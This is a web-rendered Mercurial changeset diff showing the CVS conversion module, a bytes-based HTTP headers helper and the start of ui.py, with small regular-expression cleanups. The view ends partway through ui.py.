Show More
@@ -1,335 +1,333 b'' | |||
|
1 | 1 | # cvs.py: CVS conversion code inspired by hg-cvs-import and git-cvsimport |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others |
|
4 | 4 | # |
|
5 | 5 | # This software may be used and distributed according to the terms of the |
|
6 | 6 | # GNU General Public License version 2 or any later version. |
|
7 | 7 | from __future__ import absolute_import |
|
8 | 8 | |
|
9 | 9 | import errno |
|
10 | 10 | import os |
|
11 | 11 | import re |
|
12 | 12 | import socket |
|
13 | 13 | |
|
14 | 14 | from mercurial.i18n import _ |
|
15 | 15 | from mercurial.pycompat import ( |
|
16 | 16 | getattr, |
|
17 | 17 | open, |
|
18 | 18 | ) |
|
19 | 19 | from mercurial import ( |
|
20 | 20 | encoding, |
|
21 | 21 | error, |
|
22 | 22 | pycompat, |
|
23 | 23 | util, |
|
24 | 24 | ) |
|
25 | 25 | from mercurial.utils import ( |
|
26 | 26 | dateutil, |
|
27 | 27 | procutil, |
|
28 | 28 | ) |
|
29 | 29 | |
|
30 | 30 | from . import ( |
|
31 | 31 | common, |
|
32 | 32 | cvsps, |
|
33 | 33 | ) |
|
34 | 34 | |
|
35 | 35 | stringio = util.stringio |
|
36 | 36 | checktool = common.checktool |
|
37 | 37 | commit = common.commit |
|
38 | 38 | converter_source = common.converter_source |
|
39 | 39 | makedatetimestamp = common.makedatetimestamp |
|
40 | 40 | NoRepo = common.NoRepo |
|
41 | 41 | |
|
42 | 42 | |
|
43 | 43 | class convert_cvs(converter_source): |
|
44 | 44 | def __init__(self, ui, repotype, path, revs=None): |
|
45 | 45 | super(convert_cvs, self).__init__(ui, repotype, path, revs=revs) |
|
46 | 46 | |
|
47 | 47 | cvs = os.path.join(path, b"CVS") |
|
48 | 48 | if not os.path.exists(cvs): |
|
49 | 49 | raise NoRepo(_(b"%s does not look like a CVS checkout") % path) |
|
50 | 50 | |
|
51 | 51 | checktool(b'cvs') |
|
52 | 52 | |
|
53 | 53 | self.changeset = None |
|
54 | 54 | self.files = {} |
|
55 | 55 | self.tags = {} |
|
56 | 56 | self.lastbranch = {} |
|
57 | 57 | self.socket = None |
|
58 | 58 | self.cvsroot = open(os.path.join(cvs, b"Root"), b'rb').read()[:-1] |
|
59 | 59 | self.cvsrepo = open(os.path.join(cvs, b"Repository"), b'rb').read()[:-1] |
|
60 | 60 | self.encoding = encoding.encoding |
|
61 | 61 | |
|
62 | 62 | self._connect() |
|
63 | 63 | |
|
64 | 64 | def _parse(self): |
|
65 | 65 | if self.changeset is not None: |
|
66 | 66 | return |
|
67 | 67 | self.changeset = {} |
|
68 | 68 | |
|
69 | 69 | maxrev = 0 |
|
70 | 70 | if self.revs: |
|
71 | 71 | if len(self.revs) > 1: |
|
72 | 72 | raise error.Abort( |
|
73 | 73 | _( |
|
74 | 74 | b'cvs source does not support specifying ' |
|
75 | 75 | b'multiple revs' |
|
76 | 76 | ) |
|
77 | 77 | ) |
|
78 | 78 | # TODO: handle tags |
|
79 | 79 | try: |
|
80 | 80 | # patchset number? |
|
81 | 81 | maxrev = int(self.revs[0]) |
|
82 | 82 | except ValueError: |
|
83 | 83 | raise error.Abort( |
|
84 | 84 | _(b'revision %s is not a patchset number') % self.revs[0] |
|
85 | 85 | ) |
|
86 | 86 | |
|
87 | 87 | d = encoding.getcwd() |
|
88 | 88 | try: |
|
89 | 89 | os.chdir(self.path) |
|
90 | 90 | |
|
91 | 91 | cache = b'update' |
|
92 | 92 | if not self.ui.configbool(b'convert', b'cvsps.cache'): |
|
93 | 93 | cache = None |
|
94 | 94 | db = cvsps.createlog(self.ui, cache=cache) |
|
95 | 95 | db = cvsps.createchangeset( |
|
96 | 96 | self.ui, |
|
97 | 97 | db, |
|
98 | 98 | fuzz=int(self.ui.config(b'convert', b'cvsps.fuzz')), |
|
99 | 99 | mergeto=self.ui.config(b'convert', b'cvsps.mergeto'), |
|
100 | 100 | mergefrom=self.ui.config(b'convert', b'cvsps.mergefrom'), |
|
101 | 101 | ) |
|
102 | 102 | |
|
103 | 103 | for cs in db: |
|
104 | 104 | if maxrev and cs.id > maxrev: |
|
105 | 105 | break |
|
106 | 106 | id = b"%d" % cs.id |
|
107 | 107 | cs.author = self.recode(cs.author) |
|
108 | 108 | self.lastbranch[cs.branch] = id |
|
109 | 109 | cs.comment = self.recode(cs.comment) |
|
110 | 110 | if self.ui.configbool(b'convert', b'localtimezone'): |
|
111 | 111 | cs.date = makedatetimestamp(cs.date[0]) |
|
112 | 112 | date = dateutil.datestr(cs.date, b'%Y-%m-%d %H:%M:%S %1%2') |
|
113 | 113 | self.tags.update(dict.fromkeys(cs.tags, id)) |
|
114 | 114 | |
|
115 | 115 | files = {} |
|
116 | 116 | for f in cs.entries: |
|
117 | 117 | files[f.file] = b"%s%s" % ( |
|
118 | 118 | b'.'.join([(b"%d" % x) for x in f.revision]), |
|
119 | 119 | [b'', b'(DEAD)'][f.dead], |
|
120 | 120 | ) |
|
121 | 121 | |
|
122 | 122 | # add current commit to set |
|
123 | 123 | c = commit( |
|
124 | 124 | author=cs.author, |
|
125 | 125 | date=date, |
|
126 | 126 | parents=[(b"%d" % p.id) for p in cs.parents], |
|
127 | 127 | desc=cs.comment, |
|
128 | 128 | branch=cs.branch or b'', |
|
129 | 129 | ) |
|
130 | 130 | self.changeset[id] = c |
|
131 | 131 | self.files[id] = files |
|
132 | 132 | |
|
133 | 133 | self.heads = self.lastbranch.values() |
|
134 | 134 | finally: |
|
135 | 135 | os.chdir(d) |
|
136 | 136 | |
|
137 | 137 | def _connect(self): |
|
138 | 138 | root = self.cvsroot |
|
139 | 139 | conntype = None |
|
140 | 140 | user, host = None, None |
|
141 | 141 | cmd = [b'cvs', b'server'] |
|
142 | 142 | |
|
143 | 143 | self.ui.status(_(b"connecting to %s\n") % root) |
|
144 | 144 | |
|
145 | 145 | if root.startswith(b":pserver:"): |
|
146 | 146 | root = root[9:] |
|
147 | m = re.match( | |
|
148 | r'(?:(.*?)(?::(.*?))?@)?([^:\/]*)(?::(\d*))?(.*)', root | |
|
149 | ) | |
|
147 | m = re.match(r'(?:(.*?)(?::(.*?))?@)?([^:/]*)(?::(\d*))?(.*)', root) | |
|
150 | 148 | if m: |
|
151 | 149 | conntype = b"pserver" |
|
152 | 150 | user, passw, serv, port, root = m.groups() |
|
153 | 151 | if not user: |
|
154 | 152 | user = b"anonymous" |
|
155 | 153 | if not port: |
|
156 | 154 | port = 2401 |
|
157 | 155 | else: |
|
158 | 156 | port = int(port) |
|
159 | 157 | format0 = b":pserver:%s@%s:%s" % (user, serv, root) |
|
160 | 158 | format1 = b":pserver:%s@%s:%d%s" % (user, serv, port, root) |
|
161 | 159 | |
|
162 | 160 | if not passw: |
|
163 | 161 | passw = b"A" |
|
164 | 162 | cvspass = os.path.expanduser(b"~/.cvspass") |
|
165 | 163 | try: |
|
166 | 164 | pf = open(cvspass, b'rb') |
|
167 | 165 | for line in pf.read().splitlines(): |
|
168 | 166 | part1, part2 = line.split(b' ', 1) |
|
169 | 167 | # /1 :pserver:user@example.com:2401/cvsroot/foo |
|
170 | 168 | # Ah<Z |
|
171 | 169 | if part1 == b'/1': |
|
172 | 170 | part1, part2 = part2.split(b' ', 1) |
|
173 | 171 | format = format1 |
|
174 | 172 | # :pserver:user@example.com:/cvsroot/foo Ah<Z |
|
175 | 173 | else: |
|
176 | 174 | format = format0 |
|
177 | 175 | if part1 == format: |
|
178 | 176 | passw = part2 |
|
179 | 177 | break |
|
180 | 178 | pf.close() |
|
181 | 179 | except IOError as inst: |
|
182 | 180 | if inst.errno != errno.ENOENT: |
|
183 | 181 | if not getattr(inst, 'filename', None): |
|
184 | 182 | inst.filename = cvspass |
|
185 | 183 | raise |
|
186 | 184 | |
|
187 | 185 | sck = socket.socket() |
|
188 | 186 | sck.connect((serv, port)) |
|
189 | 187 | sck.send( |
|
190 | 188 | b"\n".join( |
|
191 | 189 | [ |
|
192 | 190 | b"BEGIN AUTH REQUEST", |
|
193 | 191 | root, |
|
194 | 192 | user, |
|
195 | 193 | passw, |
|
196 | 194 | b"END AUTH REQUEST", |
|
197 | 195 | b"", |
|
198 | 196 | ] |
|
199 | 197 | ) |
|
200 | 198 | ) |
|
201 | 199 | if sck.recv(128) != b"I LOVE YOU\n": |
|
202 | 200 | raise error.Abort(_(b"CVS pserver authentication failed")) |
|
203 | 201 | |
|
204 | 202 | self.writep = self.readp = sck.makefile(b'r+') |
|
205 | 203 | |
|
206 | 204 | if not conntype and root.startswith(b":local:"): |
|
207 | 205 | conntype = b"local" |
|
208 | 206 | root = root[7:] |
|
209 | 207 | |
|
210 | 208 | if not conntype: |
|
211 | 209 | # :ext:user@host/home/user/path/to/cvsroot |
|
212 | 210 | if root.startswith(b":ext:"): |
|
213 | 211 | root = root[5:] |
|
214 | 212 | m = re.match(br'(?:([^@:/]+)@)?([^:/]+):?(.*)', root) |
|
215 | 213 | # Do not take Windows path "c:\foo\bar" for a connection strings |
|
216 | 214 | if os.path.isdir(root) or not m: |
|
217 | 215 | conntype = b"local" |
|
218 | 216 | else: |
|
219 | 217 | conntype = b"rsh" |
|
220 | 218 | user, host, root = m.group(1), m.group(2), m.group(3) |
|
221 | 219 | |
|
222 | 220 | if conntype != b"pserver": |
|
223 | 221 | if conntype == b"rsh": |
|
224 | 222 | rsh = encoding.environ.get(b"CVS_RSH") or b"ssh" |
|
225 | 223 | if user: |
|
226 | 224 | cmd = [rsh, b'-l', user, host] + cmd |
|
227 | 225 | else: |
|
228 | 226 | cmd = [rsh, host] + cmd |
|
229 | 227 | |
|
230 | 228 | # popen2 does not support argument lists under Windows |
|
231 | 229 | cmd = [procutil.shellquote(arg) for arg in cmd] |
|
232 | 230 | cmd = procutil.quotecommand(b' '.join(cmd)) |
|
233 | 231 | self.writep, self.readp = procutil.popen2(cmd) |
|
234 | 232 | |
|
235 | 233 | self.realroot = root |
|
236 | 234 | |
|
237 | 235 | self.writep.write(b"Root %s\n" % root) |
|
238 | 236 | self.writep.write( |
|
239 | 237 | b"Valid-responses ok error Valid-requests Mode" |
|
240 | 238 | b" M Mbinary E Checked-in Created Updated" |
|
241 | 239 | b" Merged Removed\n" |
|
242 | 240 | ) |
|
243 | 241 | self.writep.write(b"valid-requests\n") |
|
244 | 242 | self.writep.flush() |
|
245 | 243 | r = self.readp.readline() |
|
246 | 244 | if not r.startswith(b"Valid-requests"): |
|
247 | 245 | raise error.Abort( |
|
248 | 246 | _( |
|
249 | 247 | b'unexpected response from CVS server ' |
|
250 | 248 | b'(expected "Valid-requests", but got %r)' |
|
251 | 249 | ) |
|
252 | 250 | % r |
|
253 | 251 | ) |
|
254 | 252 | if b"UseUnchanged" in r: |
|
255 | 253 | self.writep.write(b"UseUnchanged\n") |
|
256 | 254 | self.writep.flush() |
|
257 | 255 | self.readp.readline() |
|
258 | 256 | |
|
259 | 257 | def getheads(self): |
|
260 | 258 | self._parse() |
|
261 | 259 | return self.heads |
|
262 | 260 | |
|
263 | 261 | def getfile(self, name, rev): |
|
264 | 262 | def chunkedread(fp, count): |
|
265 | 263 | # file-objects returned by socket.makefile() do not handle |
|
266 | 264 | # large read() requests very well. |
|
267 | 265 | chunksize = 65536 |
|
268 | 266 | output = stringio() |
|
269 | 267 | while count > 0: |
|
270 | 268 | data = fp.read(min(count, chunksize)) |
|
271 | 269 | if not data: |
|
272 | 270 | raise error.Abort( |
|
273 | 271 | _(b"%d bytes missing from remote file") % count |
|
274 | 272 | ) |
|
275 | 273 | count -= len(data) |
|
276 | 274 | output.write(data) |
|
277 | 275 | return output.getvalue() |
|
278 | 276 | |
|
279 | 277 | self._parse() |
|
280 | 278 | if rev.endswith(b"(DEAD)"): |
|
281 | 279 | return None, None |
|
282 | 280 | |
|
283 | 281 | args = (b"-N -P -kk -r %s --" % rev).split() |
|
284 | 282 | args.append(self.cvsrepo + b'/' + name) |
|
285 | 283 | for x in args: |
|
286 | 284 | self.writep.write(b"Argument %s\n" % x) |
|
287 | 285 | self.writep.write(b"Directory .\n%s\nco\n" % self.realroot) |
|
288 | 286 | self.writep.flush() |
|
289 | 287 | |
|
290 | 288 | data = b"" |
|
291 | 289 | mode = None |
|
292 | 290 | while True: |
|
293 | 291 | line = self.readp.readline() |
|
294 | 292 | if line.startswith(b"Created ") or line.startswith(b"Updated "): |
|
295 | 293 | self.readp.readline() # path |
|
296 | 294 | self.readp.readline() # entries |
|
297 | 295 | mode = self.readp.readline()[:-1] |
|
298 | 296 | count = int(self.readp.readline()[:-1]) |
|
299 | 297 | data = chunkedread(self.readp, count) |
|
300 | 298 | elif line.startswith(b" "): |
|
301 | 299 | data += line[1:] |
|
302 | 300 | elif line.startswith(b"M "): |
|
303 | 301 | pass |
|
304 | 302 | elif line.startswith(b"Mbinary "): |
|
305 | 303 | count = int(self.readp.readline()[:-1]) |
|
306 | 304 | data = chunkedread(self.readp, count) |
|
307 | 305 | else: |
|
308 | 306 | if line == b"ok\n": |
|
309 | 307 | if mode is None: |
|
310 | 308 | raise error.Abort(_(b'malformed response from CVS')) |
|
311 | 309 | return (data, b"x" in mode and b"x" or b"") |
|
312 | 310 | elif line.startswith(b"E "): |
|
313 | 311 | self.ui.warn(_(b"cvs server: %s\n") % line[2:]) |
|
314 | 312 | elif line.startswith(b"Remove"): |
|
315 | 313 | self.readp.readline() |
|
316 | 314 | else: |
|
317 | 315 | raise error.Abort(_(b"unknown CVS response: %s") % line) |
|
318 | 316 | |
|
319 | 317 | def getchanges(self, rev, full): |
|
320 | 318 | if full: |
|
321 | 319 | raise error.Abort(_(b"convert from cvs does not support --full")) |
|
322 | 320 | self._parse() |
|
323 | 321 | return sorted(pycompat.iteritems(self.files[rev])), {}, set() |
|
324 | 322 | |
|
325 | 323 | def getcommit(self, rev): |
|
326 | 324 | self._parse() |
|
327 | 325 | return self.changeset[rev] |
|
328 | 326 | |
|
329 | 327 | def gettags(self): |
|
330 | 328 | self._parse() |
|
331 | 329 | return self.tags |
|
332 | 330 | |
|
333 | 331 | def getchangedfiles(self, rev, i): |
|
334 | 332 | self._parse() |
|
335 | 333 | return sorted(self.files[rev]) |
@@ -1,185 +1,185 b'' | |||
|
1 | 1 | """This was forked from cpython's wsgiref.headers module to work on bytes. |
|
2 | 2 | |
|
3 | 3 | Header from old file showing copyright is below. |
|
4 | 4 | |
|
5 | 5 | Much of this module is red-handedly pilfered from email.message in the stdlib, |
|
6 | 6 | so portions are Copyright (C) 2001,2002 Python Software Foundation, and were |
|
7 | 7 | written by Barry Warsaw. |
|
8 | 8 | """ |
|
9 | 9 | |
|
10 | 10 | # Regular expression that matches `special' characters in parameters, the |
|
11 | 11 | # existence of which force quoting of the parameter value. |
|
12 | 12 | from __future__ import absolute_import, print_function |
|
13 | 13 | |
|
14 | 14 | import re |
|
15 | 15 | |
|
16 |
tspecials = re.compile(br'[ |
|
|
16 | tspecials = re.compile(br'[ ()<>@,;:\\"/\[\]?=]') | |
|
17 | 17 | |
|
18 | 18 | |
|
19 | 19 | def _formatparam(param, value=None, quote=1): |
|
20 | 20 | """Convenience function to format and return a key=value pair. |
|
21 | 21 | This will quote the value if needed or if quote is true. |
|
22 | 22 | """ |
|
23 | 23 | if value is not None and len(value) > 0: |
|
24 | 24 | if quote or tspecials.search(value): |
|
25 | 25 | value = value.replace(b'\\', b'\\\\').replace(b'"', r'\"') |
|
26 | 26 | return b'%s="%s"' % (param, value) |
|
27 | 27 | else: |
|
28 | 28 | return b'%s=%s' % (param, value) |
|
29 | 29 | else: |
|
30 | 30 | return param |
|
31 | 31 | |
|
32 | 32 | |
|
33 | 33 | class Headers(object): |
|
34 | 34 | """Manage a collection of HTTP response headers""" |
|
35 | 35 | |
|
36 | 36 | def __init__(self, headers=None): |
|
37 | 37 | headers = headers if headers is not None else [] |
|
38 | 38 | if type(headers) is not list: |
|
39 | 39 | raise TypeError(b"Headers must be a list of name/value tuples") |
|
40 | 40 | self._headers = headers |
|
41 | 41 | if __debug__: |
|
42 | 42 | for k, v in headers: |
|
43 | 43 | self._convert_string_type(k) |
|
44 | 44 | self._convert_string_type(v) |
|
45 | 45 | |
|
46 | 46 | def _convert_string_type(self, value): |
|
47 | 47 | """Convert/check value type.""" |
|
48 | 48 | if type(value) is bytes: |
|
49 | 49 | return value |
|
50 | 50 | raise AssertionError( |
|
51 | 51 | u"Header names/values must be" |
|
52 | 52 | u" of type bytes (got %s)" % repr(value) |
|
53 | 53 | ) |
|
54 | 54 | |
|
55 | 55 | def __len__(self): |
|
56 | 56 | """Return the total number of headers, including duplicates.""" |
|
57 | 57 | return len(self._headers) |
|
58 | 58 | |
|
59 | 59 | def __setitem__(self, name, val): |
|
60 | 60 | """Set the value of a header.""" |
|
61 | 61 | del self[name] |
|
62 | 62 | self._headers.append( |
|
63 | 63 | (self._convert_string_type(name), self._convert_string_type(val)) |
|
64 | 64 | ) |
|
65 | 65 | |
|
66 | 66 | def __delitem__(self, name): |
|
67 | 67 | """Delete all occurrences of a header, if present. |
|
68 | 68 | Does *not* raise an exception if the header is missing. |
|
69 | 69 | """ |
|
70 | 70 | name = self._convert_string_type(name.lower()) |
|
71 | 71 | self._headers[:] = [kv for kv in self._headers if kv[0].lower() != name] |
|
72 | 72 | |
|
73 | 73 | def __getitem__(self, name): |
|
74 | 74 | """Get the first header value for 'name' |
|
75 | 75 | Return None if the header is missing instead of raising an exception. |
|
76 | 76 | Note that if the header appeared multiple times, the first exactly which |
|
77 | 77 | occurrence gets returned is undefined. Use getall() to get all |
|
78 | 78 | the values matching a header field name. |
|
79 | 79 | """ |
|
80 | 80 | return self.get(name) |
|
81 | 81 | |
|
82 | 82 | def __contains__(self, name): |
|
83 | 83 | """Return true if the message contains the header.""" |
|
84 | 84 | return self.get(name) is not None |
|
85 | 85 | |
|
86 | 86 | def get_all(self, name): |
|
87 | 87 | """Return a list of all the values for the named field. |
|
88 | 88 | These will be sorted in the order they appeared in the original header |
|
89 | 89 | list or were added to this instance, and may contain duplicates. Any |
|
90 | 90 | fields deleted and re-inserted are always appended to the header list. |
|
91 | 91 | If no fields exist with the given name, returns an empty list. |
|
92 | 92 | """ |
|
93 | 93 | name = self._convert_string_type(name.lower()) |
|
94 | 94 | return [kv[1] for kv in self._headers if kv[0].lower() == name] |
|
95 | 95 | |
|
96 | 96 | def get(self, name, default=None): |
|
97 | 97 | """Get the first header value for 'name', or return 'default'""" |
|
98 | 98 | name = self._convert_string_type(name.lower()) |
|
99 | 99 | for k, v in self._headers: |
|
100 | 100 | if k.lower() == name: |
|
101 | 101 | return v |
|
102 | 102 | return default |
|
103 | 103 | |
|
104 | 104 | def keys(self): |
|
105 | 105 | """Return a list of all the header field names. |
|
106 | 106 | These will be sorted in the order they appeared in the original header |
|
107 | 107 | list, or were added to this instance, and may contain duplicates. |
|
108 | 108 | Any fields deleted and re-inserted are always appended to the header |
|
109 | 109 | list. |
|
110 | 110 | """ |
|
111 | 111 | return [k for k, v in self._headers] |
|
112 | 112 | |
|
113 | 113 | def values(self): |
|
114 | 114 | """Return a list of all header values. |
|
115 | 115 | These will be sorted in the order they appeared in the original header |
|
116 | 116 | list, or were added to this instance, and may contain duplicates. |
|
117 | 117 | Any fields deleted and re-inserted are always appended to the header |
|
118 | 118 | list. |
|
119 | 119 | """ |
|
120 | 120 | return [v for k, v in self._headers] |
|
121 | 121 | |
|
122 | 122 | def items(self): |
|
123 | 123 | """Get all the header fields and values. |
|
124 | 124 | These will be sorted in the order they were in the original header |
|
125 | 125 | list, or were added to this instance, and may contain duplicates. |
|
126 | 126 | Any fields deleted and re-inserted are always appended to the header |
|
127 | 127 | list. |
|
128 | 128 | """ |
|
129 | 129 | return self._headers[:] |
|
130 | 130 | |
|
131 | 131 | def __repr__(self): |
|
132 | 132 | return "%s(%r)" % (self.__class__.__name__, self._headers) |
|
133 | 133 | |
|
134 | 134 | def __str__(self): |
|
135 | 135 | """str() returns the formatted headers, complete with end line, |
|
136 | 136 | suitable for direct HTTP transmission.""" |
|
137 | 137 | return b'\r\n'.join( |
|
138 | 138 | [b"%s: %s" % kv for kv in self._headers] + [b'', b''] |
|
139 | 139 | ) |
|
140 | 140 | |
|
141 | 141 | def __bytes__(self): |
|
142 | 142 | return str(self).encode('iso-8859-1') |
|
143 | 143 | |
|
144 | 144 | def setdefault(self, name, value): |
|
145 | 145 | """Return first matching header value for 'name', or 'value' |
|
146 | 146 | If there is no header named 'name', add a new header with name 'name' |
|
147 | 147 | and value 'value'.""" |
|
148 | 148 | result = self.get(name) |
|
149 | 149 | if result is None: |
|
150 | 150 | self._headers.append( |
|
151 | 151 | ( |
|
152 | 152 | self._convert_string_type(name), |
|
153 | 153 | self._convert_string_type(value), |
|
154 | 154 | ) |
|
155 | 155 | ) |
|
156 | 156 | return value |
|
157 | 157 | else: |
|
158 | 158 | return result |
|
159 | 159 | |
|
160 | 160 | def add_header(self, _name, _value, **_params): |
|
161 | 161 | """Extended header setting. |
|
162 | 162 | _name is the header field to add. keyword arguments can be used to set |
|
163 | 163 | additional parameters for the header field, with underscores converted |
|
164 | 164 | to dashes. Normally the parameter will be added as key="value" unless |
|
165 | 165 | value is None, in which case only the key will be added. |
|
166 | 166 | Example: |
|
167 | 167 | h.add_header('content-disposition', 'attachment', filename='bud.gif') |
|
168 | 168 | Note that unlike the corresponding 'email.message' method, this does |
|
169 | 169 | *not* handle '(charset, language, value)' tuples: all values must be |
|
170 | 170 | strings or None. |
|
171 | 171 | """ |
|
172 | 172 | parts = [] |
|
173 | 173 | if _value is not None: |
|
174 | 174 | _value = self._convert_string_type(_value) |
|
175 | 175 | parts.append(_value) |
|
176 | 176 | for k, v in _params.items(): |
|
177 | 177 | k = self._convert_string_type(k) |
|
178 | 178 | if v is None: |
|
179 | 179 | parts.append(k.replace(b'_', b'-')) |
|
180 | 180 | else: |
|
181 | 181 | v = self._convert_string_type(v) |
|
182 | 182 | parts.append(_formatparam(k.replace(b'_', b'-'), v)) |
|
183 | 183 | self._headers.append( |
|
184 | 184 | (self._convert_string_type(_name), b"; ".join(parts)) |
|
185 | 185 | ) |
@@ -1,2312 +1,2312 b'' | |||
|
1 | 1 | # ui.py - user interface bits for mercurial |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
4 | 4 | # |
|
5 | 5 | # This software may be used and distributed according to the terms of the |
|
6 | 6 | # GNU General Public License version 2 or any later version. |
|
7 | 7 | |
|
8 | 8 | from __future__ import absolute_import |
|
9 | 9 | |
|
10 | 10 | import collections |
|
11 | 11 | import contextlib |
|
12 | 12 | import errno |
|
13 | 13 | import getpass |
|
14 | 14 | import inspect |
|
15 | 15 | import os |
|
16 | 16 | import re |
|
17 | 17 | import signal |
|
18 | 18 | import socket |
|
19 | 19 | import subprocess |
|
20 | 20 | import sys |
|
21 | 21 | import traceback |
|
22 | 22 | |
|
23 | 23 | from .i18n import _ |
|
24 | 24 | from .node import hex |
|
25 | 25 | from .pycompat import ( |
|
26 | 26 | getattr, |
|
27 | 27 | open, |
|
28 | 28 | setattr, |
|
29 | 29 | ) |
|
30 | 30 | |
|
31 | 31 | from . import ( |
|
32 | 32 | color, |
|
33 | 33 | config, |
|
34 | 34 | configitems, |
|
35 | 35 | encoding, |
|
36 | 36 | error, |
|
37 | 37 | formatter, |
|
38 | 38 | loggingutil, |
|
39 | 39 | progress, |
|
40 | 40 | pycompat, |
|
41 | 41 | rcutil, |
|
42 | 42 | scmutil, |
|
43 | 43 | util, |
|
44 | 44 | ) |
|
45 | 45 | from .utils import ( |
|
46 | 46 | dateutil, |
|
47 | 47 | procutil, |
|
48 | 48 | stringutil, |
|
49 | 49 | ) |
|
50 | 50 | |
|
51 | 51 | urlreq = util.urlreq |
|
52 | 52 | |
|
53 | 53 | # for use with str.translate(None, _keepalnum), to keep just alphanumerics |
|
54 | 54 | _keepalnum = b''.join( |
|
55 | 55 | c for c in map(pycompat.bytechr, range(256)) if not c.isalnum() |
|
56 | 56 | ) |
|
57 | 57 | |
|
58 | 58 | # The config knobs that will be altered (if unset) by ui.tweakdefaults. |
|
59 | 59 | tweakrc = b""" |
|
60 | 60 | [ui] |
|
61 | 61 | # The rollback command is dangerous. As a rule, don't use it. |
|
62 | 62 | rollback = False |
|
63 | 63 | # Make `hg status` report copy information |
|
64 | 64 | statuscopies = yes |
|
65 | 65 | # Prefer curses UIs when available. Revert to plain-text with `text`. |
|
66 | 66 | interface = curses |
|
67 | 67 | # Make compatible commands emit cwd-relative paths by default. |
|
68 | 68 | relative-paths = yes |
|
69 | 69 | |
|
70 | 70 | [commands] |
|
71 | 71 | # Grep working directory by default. |
|
72 | 72 | grep.all-files = True |
|
73 | 73 | # Refuse to perform an `hg update` that would cause a file content merge |
|
74 | 74 | update.check = noconflict |
|
75 | 75 | # Show conflicts information in `hg status` |
|
76 | 76 | status.verbose = True |
|
77 | 77 | # Make `hg resolve` with no action (like `-m`) fail instead of re-merging. |
|
78 | 78 | resolve.explicit-re-merge = True |
|
79 | 79 | |
|
80 | 80 | [diff] |
|
81 | 81 | git = 1 |
|
82 | 82 | showfunc = 1 |
|
83 | 83 | word-diff = 1 |
|
84 | 84 | """ |
|
85 | 85 | |
|
86 | 86 | samplehgrcs = { |
|
87 | 87 | b'user': b"""# example user config (see 'hg help config' for more info) |
|
88 | 88 | [ui] |
|
89 | 89 | # name and email, e.g. |
|
90 | 90 | # username = Jane Doe <jdoe@example.com> |
|
91 | 91 | username = |
|
92 | 92 | |
|
93 | 93 | # We recommend enabling tweakdefaults to get slight improvements to |
|
94 | 94 | # the UI over time. Make sure to set HGPLAIN in the environment when |
|
95 | 95 | # writing scripts! |
|
96 | 96 | # tweakdefaults = True |
|
97 | 97 | |
|
98 | 98 | # uncomment to disable color in command output |
|
99 | 99 | # (see 'hg help color' for details) |
|
100 | 100 | # color = never |
|
101 | 101 | |
|
102 | 102 | # uncomment to disable command output pagination |
|
103 | 103 | # (see 'hg help pager' for details) |
|
104 | 104 | # paginate = never |
|
105 | 105 | |
|
106 | 106 | [extensions] |
|
107 | 107 | # uncomment the lines below to enable some popular extensions |
|
108 | 108 | # (see 'hg help extensions' for more info) |
|
109 | 109 | # |
|
110 | 110 | # histedit = |
|
111 | 111 | # rebase = |
|
112 | 112 | # uncommit = |
|
113 | 113 | """, |
|
114 | 114 | b'cloned': b"""# example repository config (see 'hg help config' for more info) |
|
115 | 115 | [paths] |
|
116 | 116 | default = %s |
|
117 | 117 | |
|
118 | 118 | # path aliases to other clones of this repo in URLs or filesystem paths |
|
119 | 119 | # (see 'hg help config.paths' for more info) |
|
120 | 120 | # |
|
121 | 121 | # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork |
|
122 | 122 | # my-fork = ssh://jdoe@example.net/hg/jdoes-fork |
|
123 | 123 | # my-clone = /home/jdoe/jdoes-clone |
|
124 | 124 | |
|
125 | 125 | [ui] |
|
126 | 126 | # name and email (local to this repository, optional), e.g. |
|
127 | 127 | # username = Jane Doe <jdoe@example.com> |
|
128 | 128 | """, |
|
129 | 129 | b'local': b"""# example repository config (see 'hg help config' for more info) |
|
130 | 130 | [paths] |
|
131 | 131 | # path aliases to other clones of this repo in URLs or filesystem paths |
|
132 | 132 | # (see 'hg help config.paths' for more info) |
|
133 | 133 | # |
|
134 | 134 | # default = http://example.com/hg/example-repo |
|
135 | 135 | # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork |
|
136 | 136 | # my-fork = ssh://jdoe@example.net/hg/jdoes-fork |
|
137 | 137 | # my-clone = /home/jdoe/jdoes-clone |
|
138 | 138 | |
|
139 | 139 | [ui] |
|
140 | 140 | # name and email (local to this repository, optional), e.g. |
|
141 | 141 | # username = Jane Doe <jdoe@example.com> |
|
142 | 142 | """, |
|
143 | 143 | b'global': b"""# example system-wide hg config (see 'hg help config' for more info) |
|
144 | 144 | |
|
145 | 145 | [ui] |
|
146 | 146 | # uncomment to disable color in command output |
|
147 | 147 | # (see 'hg help color' for details) |
|
148 | 148 | # color = never |
|
149 | 149 | |
|
150 | 150 | # uncomment to disable command output pagination |
|
151 | 151 | # (see 'hg help pager' for details) |
|
152 | 152 | # paginate = never |
|
153 | 153 | |
|
154 | 154 | [extensions] |
|
155 | 155 | # uncomment the lines below to enable some popular extensions |
|
156 | 156 | # (see 'hg help extensions' for more info) |
|
157 | 157 | # |
|
158 | 158 | # blackbox = |
|
159 | 159 | # churn = |
|
160 | 160 | """, |
|
161 | 161 | } |
|
162 | 162 | |
|
163 | 163 | |
|
164 | 164 | def _maybestrurl(maybebytes): |
|
165 | 165 | return pycompat.rapply(pycompat.strurl, maybebytes) |
|
166 | 166 | |
|
167 | 167 | |
|
168 | 168 | def _maybebytesurl(maybestr): |
|
169 | 169 | return pycompat.rapply(pycompat.bytesurl, maybestr) |
|
170 | 170 | |
|
171 | 171 | |
|
172 | 172 | class httppasswordmgrdbproxy(object): |
|
173 | 173 | """Delays loading urllib2 until it's needed.""" |
|
174 | 174 | |
|
175 | 175 | def __init__(self): |
|
176 | 176 | self._mgr = None |
|
177 | 177 | |
|
178 | 178 | def _get_mgr(self): |
|
179 | 179 | if self._mgr is None: |
|
180 | 180 | self._mgr = urlreq.httppasswordmgrwithdefaultrealm() |
|
181 | 181 | return self._mgr |
|
182 | 182 | |
|
183 | 183 | def add_password(self, realm, uris, user, passwd): |
|
184 | 184 | return self._get_mgr().add_password( |
|
185 | 185 | _maybestrurl(realm), |
|
186 | 186 | _maybestrurl(uris), |
|
187 | 187 | _maybestrurl(user), |
|
188 | 188 | _maybestrurl(passwd), |
|
189 | 189 | ) |
|
190 | 190 | |
|
191 | 191 | def find_user_password(self, realm, uri): |
|
